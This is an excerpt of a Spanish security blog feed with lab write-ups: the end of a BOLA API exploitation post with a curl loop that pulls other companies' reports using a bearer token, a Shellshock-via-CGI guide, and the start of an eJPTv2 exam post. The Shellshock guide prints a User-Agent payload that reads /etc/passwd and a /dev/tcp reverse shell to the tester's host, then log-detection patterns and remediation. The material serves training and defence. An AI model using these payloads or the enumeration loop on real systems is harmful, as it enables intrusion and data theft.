    </span><span class="nl">"commentsFromCLevel"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Superb work! The Board is over the moon! All employees will enjoy a dream vacation!"</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>Al probar otras identificaciones, puedo acceder a informes anuales de otras empresas proveedoras, lo que nos permite acceder a datos comerciales potencialmente confidenciales.</p>

<p>Además, puedo abusar masivamente de la vulnerabilidad <code class="language-plaintext highlighter-rouge">BOLA</code> y obtener los primeros 20 informes anuales de las empresas de proveedores del cliente.</p>

<p>Para esto copio el cURL que me ofrece <code class="language-plaintext highlighter-rouge">Swagger</code></p>

<p><img src="/assets/img/blog/API_1_2023_BOLA/image-17.png" alt="alt text" /></p>

<p>Si lo añado a un bucle en bash puedo obtener todos los datos.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="o">((</span><span class="nv">i</span><span class="o">=</span>1<span class="p">;</span> i&lt;<span class="o">=</span> 20<span class="p">;</span> i++<span class="o">))</span><span class="p">;</span> <span class="k">do
</span>curl <span class="nt">-X</span> <span class="s1">'GET'</span> <span class="se">\</span>
  <span class="s1">'http://94.237.49.88:58561/api/v1/supplier-companies/yearly-reports/'</span><span class="nv">$i</span><span class="s1">''</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s1">'accept: application/json'</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s1">'Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9uYW1laWRlbnRpZmllciI6Imh0YnBlbnRlc3RlcjJAcGVudGVzdGVyY29tcGFueS5jb20iLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3JvbGUiOlsiU3VwcGxpZXJDb21wYW5pZXNfR2V0WWVhcmx5UmVwb3J0QnlJRCIsIlN1cHBsaWVyc19HZXRRdWFydGVybHlSZXBvcnRCeUlEIl0sImV4cCI6MTc2ODc3Nzg2NywiaXNzIjoiaHR0cDovL2FwaS5pbmxhbmVmcmVpZ2h0Lmh0YiIsImF1ZCI6Imh0dHA6Ly9hcGkuaW5sYW5lZnJlaWdodC5odGIifQ.5uv2erjbDuTErX6A2RmnevZQn2qtSO7y5IPDJXpSXOAlfXpAkLREPR5Fby7P6_hMxc3KHU3UagyzQwtGy9oNSg'</span> | jq
<span class="k">done</span>
</code></pre></div></div>

<p>Obteniendo como respuesta:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"supplierCompanyYearlyReport"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="w">
    </span><span class="nl">"companyID"</span><span class="p">:</span><span class="w"> </span><span class="s2">"f9e58492-b594-4d82-a4de-16e4f230fce1"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"year"</span><span class="p">:</span><span class="w"> </span><span class="mi">2020</span><span class="p">,</span><span class="w">
    </span><span class="nl">"revenue"</span><span class="p">:</span><span class="w"> </span><span class="mi">794425112</span><span class="p">,</span><span class="w">
    </span><span class="nl">"commentsFromCLevel"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Superb work! The Board is over the moon! All employees will enjoy a dream vacation!"</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">{</span><span class="w">
  </span><span class="nl">"supplierCompanyYearlyReport"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span><span class="w">
    </span><span class="nl">"companyID"</span><span class="p">:</span><span class="w"> </span><span class="s2">"f9e58492-b594-4d82-a4de-16e4f230fce1"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"year"</span><span class="p">:</span><span class="w"> </span><span class="mi">2022</span><span class="p">,</span><span class="w">
    </span><span class="nl">"revenue"</span><span class="p">:</span><span class="w"> </span><span class="mi">339322952</span><span class="p">,</span><span class="w">
    </span><span class="nl">"commentsFromCLevel"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Excellent performance! The Board is exhilarated! Prepare for a special vacation adventure!"</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">{</span><span class="w">
  </span><span class="nl">"supplierCompanyYearlyReport"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="mi">3</span><span class="p">,</span><span class="w">
    </span><span class="nl">"companyID"</span><span class="p">:</span><span class="w"> </span><span class="s2">"058ac1e5-3807-47f3-b546-cc069366f8f9"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"year"</span><span class="p">:</span><span class="w"> </span><span class="mi">2020</span><span class="p">,</span><span class="w">
    </span><span class="nl">"revenue"</span><span class="p">:</span><span class="w"> </span><span class="mi">186208503</span><span class="p">,</span><span class="w">
    </span><span class="nl">"commentsFromCLevel"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Phenomenal performance! The Board is deeply impressed! Everyone will be treated to a deluxe vacation!"</span><span class="w">
  </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="err">&lt;y</span><span class="w"> </span><span class="err">continua...&gt;</span><span class="w">
</span></code></pre></div></div>

<p>Recordemos que el usuario tambien pertenecia al rol <code class="language-plaintext highlighter-rouge">Suppliers_GetQuarterlyReportByID</code> busco su punto final para usarlo y ver si tambien es vulnerable.</p>

<p>Compruebo con la ejecucion de <code class="language-plaintext highlighter-rouge">/api/v1/suppliers/quarterly-reports/{ID}</code> que me solicita tambien un ID de tipo int y como requisito me solicita tener el rol <code class="language-plaintext highlighter-rouge">Suppliers_GetQuarterlyReportByID</code></p>

<p><img src="/assets/img/blog/API_1_2023_BOLA/image-18.png" alt="alt text" /></p>

<p>La ejecucion me devuelve los datos para un ID de proveedor que no es el del usuario que estoy autorizado.</p>

<p><img src="/assets/img/blog/API_1_2023_BOLA/image-20.png" alt="alt text" /></p>

<p>De la misma forma que anteriormente se puede abusar masivamente de la vulnerabilidad <code class="language-plaintext highlighter-rouge">BOLA</code> usando el cURL que obtengo de la API y añadiendolo a un bucle for en bash</p>

<p><img src="/assets/img/blog/API_1_2023_BOLA/image-19.png" alt="alt text" /></p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="k">for</span> <span class="o">((</span><span class="nv">i</span><span class="o">=</span>1<span class="p">;</span> i&lt;<span class="o">=</span> 20<span class="p">;</span> i++<span class="o">))</span><span class="p">;</span> <span class="k">do
</span>curl <span class="nt">-X</span> <span class="s1">'GET'</span> <span class="se">\</span>
  <span class="s1">'http://94.237.49.88:58561/api/v1/suppliers/quarterly-reports/'</span><span class="nv">$i</span><span class="s1">''</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s1">'accept: application/json'</span> <span class="se">\</span>
  <span class="nt">-H</span> <span class="s1">'Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9uYW1laWRlbnRpZmllciI6Imh0YnBlbnRlc3RlcjJAcGVudGVzdGVyY29tcGFueS5jb20iLCJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dzLzIwMDgvMDYvaWRlbnRpdHkvY2xhaW1zL3JvbGUiOlsiU3VwcGxpZXJDb21wYW5pZXNfR2V0WWVhcmx5UmVwb3J0QnlJRCIsIlN1cHBsaWVyc19HZXRRdWFydGVybHlSZXBvcnRCeUlEIl0sImV4cCI6MTc2ODc3Nzg2NywiaXNzIjoiaHR0cDovL2FwaS5pbmxhbmVmcmVpZ2h0Lmh0YiIsImF1ZCI6Imh0dHA6Ly9hcGkuaW5sYW5lZnJlaWdodC5odGIifQ.5uv2erjbDuTErX6A2RmnevZQn2qtSO7y5IPDJXpSXOAlfXpAkLREPR5Fby7P6_hMxc3KHU3UagyzQwtGy9oNSg'</span> | jq
<span class="k">done</span>
</code></pre></div></div>

<p>Al ejecutarlo obtengo datos que no deberia ser posible acceder ya que son de otras compañias de proveedores.</p>

<p><img src="/assets/img/blog/API_1_2023_BOLA/image-21.png" alt="alt text" /></p>

<p><img src="/assets/img/blog/API_1_2023_BOLA/image-22.png" alt="alt text" /></p>

<p>Entre ellas obtengo datos conficenciales como una flag de HTB</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">HTB</span><span class="p">{</span><span class="err">e</span><span class="mi">76651e1</span><span class="w"> </span><span class="err">&lt;redacted&gt;</span><span class="w"> </span><span class="mi">754776</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<h3 id="mitigacion">Mitigacion</h3>

<p>Para mitigar la vulnerabilidad <code class="language-plaintext highlighter-rouge">BOLA</code>, el punto final <code class="language-plaintext highlighter-rouge">/api/v1/supplier-companies/yearly-reports</code> deberia implementar un paso de verificación (a nivel de código fuente) para garantizar que los usuarios autorizados solo puedan acceder a los informes anuales asociados con su empresa afiliada. Esta verificación implica comparar el <code class="language-plaintext highlighter-rouge">companyID</code> campo del informe con el proveedor autenticado <code class="language-plaintext highlighter-rouge">companyID</code>.</p>

<p>El acceso debe concederse sólo si estos valores coinciden; de lo contrario, la solicitud debe denegarse. Este enfoque mantiene eficazmente la segregación de datos entre los informes anuales de las empresas proveedoras.</p>]]></content><author><name>ibl4zqu3z</name></author><category term="Artículos" /><category term="OWASP" /><category term="API Security" /><category term="BOLA" /><summary type="html"><![CDATA[Guía práctica sobre BOLA en APIs: cómo identificar autorización rota a nivel de objeto, validar impacto y aplicar mitigaciones efectivas.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://ibl4zqu3z.github.io/assets/img/blog/API_1_2023_BOLA/featured_image_API_BOLA.png" /><media:content medium="image" url="https://ibl4zqu3z.github.io/assets/img/blog/API_1_2023_BOLA/featured_image_API_BOLA.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Shellshock vía CGI</title><link href="https://ibl4zqu3z.github.io/blog/guias/shellshock-via-cgi.html" rel="alternate" type="text/html" title="Shellshock vía CGI" /><published>2026-01-17T10:00:00+01:00</published><updated>2026-01-17T10:00:00+01:00</updated><id>https://ibl4zqu3z.github.io/blog/guias/shellshock-via-cgi</id><content type="html" xml:base="https://ibl4zqu3z.github.io/blog/guias/shellshock-via-cgi.html"><![CDATA[<p>El <strong>Common Gateway Interface (CGI)</strong> es un mecanismo clásico para que un servidor web ejecute <strong>scripts o programas externos</strong> y genere respuestas dinámicas.</p>

<p>En despliegues tradicionales, estos scripts residen en rutas tipo <code class="language-plaintext highlighter-rouge">/cgi-bin</code> y pueden estar escritos en múltiples lenguajes (C, C++, Java, Perl, etc.). El servidor recibe una petición a una URL bajo esa ruta, ejecuta el script y devuelve al navegador la salida del programa.</p>

<p>El detalle relevante para seguridad no es “CGI como tecnología”, sino el <strong>modelo de ejecución</strong>: los scripts se ejecutan con el <strong>contexto de seguridad del servidor web</strong> (típicamente un usuario como <code class="language-plaintext highlighter-rouge">www-data</code>) y, por diseño, muchos datos de la petición (cabeceras, parámetros) acaban transformándose en <strong>variables de entorno</strong> accesibles por el proceso que se lanza.</p>

<h2 id="cgi-como-superficie-heredada">CGI como superficie heredada</h2>

<p>CGI tiene limitaciones operativas conocidas: <strong>un proceso nuevo por cada petición</strong>, conexiones recurrentes a base de datos, ausencia de caché entre cargas y pérdida de eficiencia a medida que crece el tráfico. Por eso, en aplicaciones modernas fue reemplazado por tecnologías más rápidas y seguras. Aun así, sigue apareciendo en <strong>sistemas legacy</strong> y, con frecuencia, en <strong>dispositivos embebidos</strong> o paneles web antiguos.</p>

<h2 id="ataques-cgi-el-caso-canónico">Ataques CGI: el caso canónico</h2>

<p>El ataque más emblemático asociado a CGI es <strong>Shellshock</strong> (también conocido como “Bash bug”), catalogado principalmente como <strong>CVE-2014-6271</strong>. El problema afecta a versiones antiguas de <strong>GNU Bash</strong> (hasta 4.3) y permite <strong>ejecutar comandos</strong> cuando Bash importa ciertas definiciones desde <strong>variables de entorno</strong>.</p>

<p>En términos prácticos, Shellshock convierte un patrón muy concreto en RCE:</p>

<ul>
  <li>Entrada no confiable (HTTP u otros canales)</li>
  <li>Conversión de esa entrada a variables de entorno (típico en CGI)</li>
  <li>Ejecución de Bash (directa o indirecta) dentro del flujo del script</li>
</ul>

<p>Cuando esa cadena existe, un atacante puede construir valores de entorno que, al ser procesados por Bash vulnerable, desencadenan ejecución de comandos en el contexto del usuario del servidor web. En la mayoría de escenarios el primer acceso queda en un usuario de servicio y la escalada de privilegios es un paso posterior; en configuraciones erróneas, el impacto puede ser mayor si el servicio corre con privilegios elevados.</p>

<p>En sistemas parcheados, este comportamiento se elimina: Bash deja de ejecutar contenido “extra” al importar funciones desde el entorno y endurece el formato de dichas definiciones.</p>

<h2 id="ejemplo-práctico">Ejemplo práctico</h2>

<p>En esta demostracion enumerare una maquina, explotare una vulnerabilidad de Shellshock.</p>

<p>Objetivo: 10.129.205.27</p>

<p>bash</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ping -c2 10.129.205.27
PING 10.129.205.27 (10.129.205.27) 56(84) bytes of data.
64 bytes from 10.129.205.27: icmp_seq=1 ttl=63 time=49.2 ms
64 bytes from 10.129.205.27: icmp_seq=2 ttl=63 time=49.2 ms

--- 10.129.205.27 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1000ms
rtt min/avg/max/mdev = 49.208/49.208/49.209/0.000 ms
</code></pre></div></div>

<p>Escaneo el objetivo usando <code class="language-plaintext highlighter-rouge">nmap</code>, para identificar los servicios activos que operan actualmente en el sistema.</p>

<p>Esto me dará información valiosa sobre el objetivo, descubriendo qué servicios y potencialmente qué versiones específicas se están ejecutando y en consecuencia me dará una mejor comprensión de su infraestructura y sus posibles vulnerabilidades.</p>

<p>bash</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap -p- -sC -Pn 10.129.205.27 --open
</code></pre></div></div>

<p>bash</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap -p- -sC -Pn 10.129.205.27 --open
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-17 02:59 CST
Nmap scan report for 10.129.205.27
Host is up (0.051s latency).
Not shown: 64378 closed tcp ports (reset), 1155 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
22/tcp open  ssh
| ssh-hostkey:
|   3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)
|   256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)
|_  256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)
80/tcp open  http
|_http-title: Apache2 Ubuntu Default Page: It works

Nmap done: 1 IP address (1 host up) scanned in 25.74 seconds
</code></pre></div></div>

<p>Me da un servicio de ssh y un servicio http que ademas me muestra que tiene Apache2 corriendo.</p>

<p>Compruebo visualmente el acceso via web.</p>

<p><img src="\assets\img\blog\shellshock-via-cgi\image.png" alt="alt text" /></p>

<p>Realizo una enumeracion basica en el servidor</p>

<p>bash</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gobuster dir -u http://10.129.205.27 -w /usr/share/wordlists/dirb/small.txt
</code></pre></div></div>

<p>bash</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gobuster dir -u http://10.129.205.27 -w /usr/share/wordlists/dirb/small.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.205.27
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/cgi-bin/             (Status: 403) [Size: 278]
Progress: 959 / 960 (99.90%)
===============================================================
Finished
===============================================================
</code></pre></div></div>

<p>Busco scripts CGI.</p>

<p>bash</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gobuster dir -u http://10.129.205.27/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -x cgi
</code></pre></div></div>

<p>bash</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gobuster dir -u http://10.129.205.27/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -x cgi
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) &amp; Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.205.27/cgi-bin/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              cgi
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/access.cgi           (Status: 200) [Size: 0]
Progress: 1918 / 1920 (99.90%)
===============================================================
Finished
===============================================================
</code></pre></div></div>

<p>Encuentro un scripts CGI, <code class="language-plaintext highlighter-rouge">access.cgi</code>.</p>

<p>ejecuto cURL en el script y notar que no se nos muestra nada, por lo que tal vez sea un script obsoleto pero aún así vale la pena explorarlo más a fondo.</p>

<p>bash</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl -i http://10.129.205.27/cgi-bin/access.cgi
</code></pre></div></div>

<p>bash</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl -i http://10.129.205.27/cgi-bin/access.cgi
HTTP/1.1 200 OK
Date: Sat, 17 Jan 2026 09:04:37 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 0
Content-Type: text/html
</code></pre></div></div>

<p>A continuacion voy a intentar confirmar la vulnerabilidad</p>

<p>bash</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s :'' http://10.129.205.27/cgi-bin/access.cgi
</code></pre></div></div>

<p>bash</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s :'' http://10.129.205.27/cgi-bin/access.cgi

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
</code></pre></div></div>

<p>La respuesta me ha devuelto el contenido del fichero passwd del servidor.</p>

<p>Una vez confirmada la vulnerabilidad, puedo obtener acceso inverso al shell de muchas maneras. En este caso voy a utilizar una linea de bash en la que usare netcat para obtener la shell.</p>

<p>Levanto el oyente de netcat para cualquier comunicacion contra mi IP en el puerto 7777</p>

<p>bash</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo nc -lvnp 7777
listening on [any] 7777 ...
</code></pre></div></div>

<p>Lanzo el ataque</p>

<p>bash</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl -H 'User-Agent: () { :; }; /bin/bash -i &gt;&amp; /dev/tcp/10.10.14.58/7777 0&gt;&amp;1' http://10.129.205.27/cgi-bin/access.cgi
</code></pre></div></div>

<p>bash</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.10.14.58] from (UNKNOWN) [10.129.205.27] 45158
bash: cannot set terminal process group (962): Inappropriate ioctl for device
bash: no job control in this shell
www-data@htb:/usr/lib/cgi-bin$
</code></pre></div></div>

<p>Compruebo que mi entorno en el servidor</p>

<p>bash</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>www-data@htb:/usr/lib/cgi-bin$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@htb:/usr/lib/cgi-bin$ whoami
whoami
www-data
www-data@htb:/usr/lib/cgi-bin$ ls
ls
access.cgi
flag.txt
</code></pre></div></div>

<p>Esto demuestra que el endpoint CGI permite <strong>ejecución de comandos</strong> al procesar una cabecera HTTP que termina convertida en variable de entorno y que, a su vez, es interpretada por una versión vulnerable de <strong>Bash</strong>. El impacto práctico es <strong>RCE en el contexto del servicio web</strong>, que en este caso es <code class="language-plaintext highlighter-rouge">www-data</code>.</p>

<h2 id="qué-está-pasando-realmente-cgi--entorno--bash">Qué está pasando realmente (CGI → entorno → Bash)</h2>

<p>En entornos CGI, Apache expone información de la petición como variables de entorno del proceso. Por ejemplo, la cabecera <code class="language-plaintext highlighter-rouge">User-Agent</code> suele mapearse a una variable tipo <code class="language-plaintext highlighter-rouge">HTTP_USER_AGENT</code>. Si el script CGI (o cualquier wrapper en su ejecución) invoca Bash y el sistema está afectado por Shellshock, Bash reinterpreta ciertos valores del entorno como definiciones de función y, en versiones vulnerables, ejecuta contenido adicional.</p>

<p>Cadena de riesgo:</p>

<ol>
  <li>Cabecera/entrada controlable por el cliente</li>
  <li>CGI la convierte en variable de entorno</li>
  <li>El flujo del CGI termina invocando Bash</li>
  <li>Bash vulnerable ejecuta comandos</li>
</ol>

<h2 id="evidencia-y-alcance-del-hallazgo">Evidencia y alcance del hallazgo</h2>

<p><strong>Evidencia mínima (reproducible):</strong></p>

<ul>
  <li>URL vulnerable: <code class="language-plaintext highlighter-rouge">/cgi-bin/access.cgi</code></li>
  <li>Vector: cabecera <code class="language-plaintext highlighter-rouge">User-Agent</code></li>
  <li>Resultado: ejecución de comandos como <code class="language-plaintext highlighter-rouge">www-data</code> (confirmado por <code class="language-plaintext highlighter-rouge">id/whoami</code> en la sesión obtenida)</li>
</ul>

<p><strong>Alcance realista:</strong></p>

<ul>
  <li>Compromiso del servidor web desde HTTP si <code class="language-plaintext highlighter-rouge">/cgi-bin</code> es accesible y hay scripts CGI ejecutables.</li>
  <li>El acceso inicial suele quedar en usuario de servicio; la criticidad depende de controles adicionales (permisos, segmentación, credenciales expuestas, etc.).</li>
</ul>

<h2 id="detección-indicadores-en-logs">Detección: indicadores en logs</h2>

<p>En muchos casos quedan huellas claras en logs de acceso HTTP. Indicadores típicos:</p>

<ul>
  <li>Presencia de patrones como <code class="language-plaintext highlighter-rouge">() {</code> en <code class="language-plaintext highlighter-rouge">User-Agent</code> u otras cabeceras.</li>
  <li>Cadenas con <code class="language-plaintext highlighter-rouge">BASH_FUNC_</code> (en intentos contra sistemas parcialmente parcheados o por variaciones del payload).</li>
  <li>Picos de peticiones a <code class="language-plaintext highlighter-rouge">/cgi-bin/</code> seguidos de respuestas anómalas.</li>
</ul>

<p>Ejemplos de búsquedas defensivas (servidor):</p>

<p>bash</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># Apache access logs (rutas comunes)
grep -R --line-number -E '\(\)\s*\{|BASH_FUNC_|cgi-bin' /var/log/apache2/ 2&gt;/dev/null

# Filtro más específico: Shellshock clásico
grep -R --line-number -E '\(\)\s*\{\s*:;\s*\}' /var/log/apache2/ 2&gt;/dev/null
</code></pre></div></div>

<p>Si hay SIEM, la firma base es: User-Agent contiene () { y el request toca rutas CGI o endpoints legacy.</p>

<h2 id="remediación-priorizada">Remediación (priorizada)</h2>

<h3 id="parcheo-de-bash">Parcheo de Bash</h3>

<ul>
  <li>Actualizar Bash a una versión corregida por el proveedor.</li>
  <li>Verificar que no se aplicó solo el parche inicial histórico (familia Shellshock tuvo bypasses).</li>
  <li>Eliminar o reducir superficie CGI</li>
  <li>Deshabilitar CGI si no es imprescindible.</li>
  <li>Restringir ScriptAlias y permisos de ejecución en /cgi-bin a lo estrictamente necesario.</li>
  <li>Revisar scripts heredados: evitar invocaciones innecesarias a Bash y sanitizar entradas.</li>
</ul>

<h3 id="controles-compensatorios">Controles compensatorios</h3>

<ul>
  <li>Segmentación y reducción de exposición externa del servidor.</li>
  <li>WAF/Reverse proxy con reglas específicas para bloquear patrones conocidos (como () { en cabeceras), como mitigación temporal mientras se parchea.</li>
</ul>

<h2 id="referencias">Referencias</h2>

<p>CVE-2014-6271 (Shellshock)</p>]]></content><author><name>ibl4zqu3z</name></author><category term="Artículos" /><category term="Shellshock" /><category term="CGI" /><category term="RCE" /><summary type="html"><![CDATA[Guía práctica para identificar y validar Shellshock vía CGI, demostrando RCE desde HTTP y medidas de mitigación.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://ibl4zqu3z.github.io/assets/img/blog/shellshock-via-cgi/featured_image_ShellShock_CGI.png" /><media:content medium="image" url="https://ibl4zqu3z.github.io/assets/img/blog/shellshock-via-cgi/featured_image_ShellShock_CGI.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Mi experiencia realizando el examen de eJPTv2</title><link href="https://ibl4zqu3z.github.io/blog/experiencia-certificacion-ejptv2/" rel="alternate" type="text/html" title="Mi experiencia realizando el examen de eJPTv2" /><published>2026-01-17T00:00:00+01:00</published><updated>2026-01-17T00:00:00+01:00</updated><id>https://ibl4zqu3z.github.io/blog/experiencia-certificacion-ejptv2</id><content type="html" xml:base="https://ibl4zqu3z.github.io/blog/experiencia-certificacion-ejptv2/"><![CDATA[<p>Hace un tiempo decidí presentarme al examen de eJPTv2 para obtener la certificación, y os quiero compartir mi experiencia con el proceso, desde la preparación hasta la obtención de la certificacion de eJPTv2, un examen de certificación ofrecido por eLearnSecurity.</p>

<!--more-->

<p>El examen de eJPTv2 es un desafío práctico en el que se requiere realizar una serie de tareas dentro de un entorno realista pero simulado, para demostrar las habilidades para realizar un pentesting. Esto incluye obtener acceso a un sistema, identificar vulnerabilidades, explotar servicios, y realizar post-explotación e incluso pivoting a una red interna.</p>

<h2 id="preparacion-para-el-examen">Preparación para el examen</h2>

<p>Mi camino hacia el examen de eJPTv2 comenzó con el estudio de la teoría y la práctica ofrecida por INE.</p>

<p>Ya habia trabajado en algunos proyectos relacionados con pentesting, pero sabía que necesitaba adaptar mis conocimientos a las herramientas adecuadas para tener éxito en el examen.</p>

<p>Aquí están algunos de los pasos clave que seguí durante mi preparación:</p>

<ol>
  <li>
    <p><strong>Revisión de los temas del examen:</strong>
Lo primero que hice fue leer cuidadosamente el temario oficial del examen. eJPTv2 cubre una amplia gama de temas, desde la recopilación de información hasta la explotación de vulnerabilidades y la post-explotación.</p>

    <p>Los temas principales incluyen:</p>

    <ul>
      <li>Reconocimiento y enumeración de servicios</li>
      <li>Vulnerabilidades comunes y ataques a aplicaciones</li>
      <li>Herramientas de pentesting como Nmap, Gobuster, Nikto y Hydra</li>
      <li>Técnicas de post-explotación y escalada de privilegios</li>
    </ul>
  </li>
  <li><strong>Cursos y materiales recomendados:</strong>
Decidí invertir tiempo (y dinero) en los cursos de eLearnSecurity, específicamente en el curso de eJPTv2. Este curso tiene muchas horas de video y mucha cantidad de informacion que comprender y sobre todo practicar en sus laboratorios. Ademas estudie modulos en la Academia de HackTheBox, en concreto el path de pentesting completo. Añadiendole el modulo de Wordpress que no recuerdo si esta dentro.</li>
  <li><strong>Práctica en entornos controlados:</strong>
Además del curso, me hice máquinas de VulnHub (las podeis ver resueltas en este blog). En ellas pude aplicar lo aprendido en un entorno controlado y con escenarios que simulaban vulnerabilidades reales. Practiqué con máquinas de diferentes niveles de dificultad para mejorar mi capacidad de identificación de vulnerabilidades y explotación.</li>
</ol>

<h2 id="consejos-durante-el-examen">Consejos durante el examen</h2>

<ul>
  <li>
    <p><strong>Uso eficiente del tiempo:</strong></p>

    <ul>
      <li>El examen tiene un límite de tiempo (48 horas), por lo que es vital gestionar bien tu tiempo. <strong>Toma descansos</strong> al menos cada 4 horas, para comer algo, estirar las piernas, etc.</li>
      <li><strong>Leete todas las preguntas antes de comenzar a contestar</strong>. En estas preguntas te puedes encontrar que te dan usuarios para algunas máquinas, o te proponen claves posibles. Apuntalas y usalas.</li>
      <li>No te quedes demasiado tiempo atascado en una tarea, si algo no funciona, pasa a otro objetivo y regresa a ello más tarde si es necesario.</li>
      <li><strong>Aprovecha los momentos de descanso para lanzar ataques largos</strong> contra servicios. Por ejemplo si vas a parar 1 hora para estirar las piernas, comer y descansar un poco, lanza un ataque de diccionario a algun servicio como ssh o ftp con diccionarios grandes que sepas que van a tardar un rato en completarse.</li>
      <li>No hace falta llegar a ser root de todas las máquinas pero tampoco es complicado conseguirlo, son máquinas sencillas.</li>
    </ul>
  </li>
  <li>
    <p><strong>Piensa que no es un CTF</strong></p>

    <ul>
      <li><strong>No es un CTF</strong>, no vas buscando pensar “out-the-box”. Es un entorno realista, piensa que puede ser una empresa. No vayas a lo rebuscado o a un ataque muy elaborado.</li>
      <li>Hazte un <strong>listado de usuarios y claves</strong> que vayas recopilando entre máquinas para probarlas en las siguientes máquinas. Incluso prueba a que las claves sean tan debiles que uses como diccionario de claves los nombres de los usuarios.</li>
